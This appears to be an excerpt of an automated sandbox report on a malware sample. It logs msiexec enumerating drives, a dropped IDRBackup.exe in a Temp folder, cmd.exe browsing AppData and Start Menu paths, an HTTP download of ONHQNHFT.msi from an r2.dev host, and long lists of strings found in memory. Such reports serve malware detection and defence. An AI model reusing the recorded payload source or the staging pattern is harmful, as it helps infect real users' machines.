Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570015CE FindFirstFileA,		6_2_570015CE
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570015D6 FindFirstFileW,		6_2_570015D6

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: global traffic

HTTP traffic detected: GET /ONHQNHFT.msi HTTP/1.1Host: pub-37d3986658af451c9d52bb9f482b3e2d.r2.devConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /ONHQNHFT.msi HTTP/1.1Host: pub-37d3986658af451c9d52bb9f482b3e2d.r2.devConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev

Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ascstats.iobit.com/base-info.php
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA.crt0
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0K
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigning-g1.crl03
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigning-g1.crl0K
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000015.00000003.2521557740.0000019994218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000015.00000003.2521557740.000001999424D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000015.00000003.2521557740.0000019994291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://idrlicense.itopupdate.com/check.php
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ip-api.com/
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ipinfo.io/
Source: powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
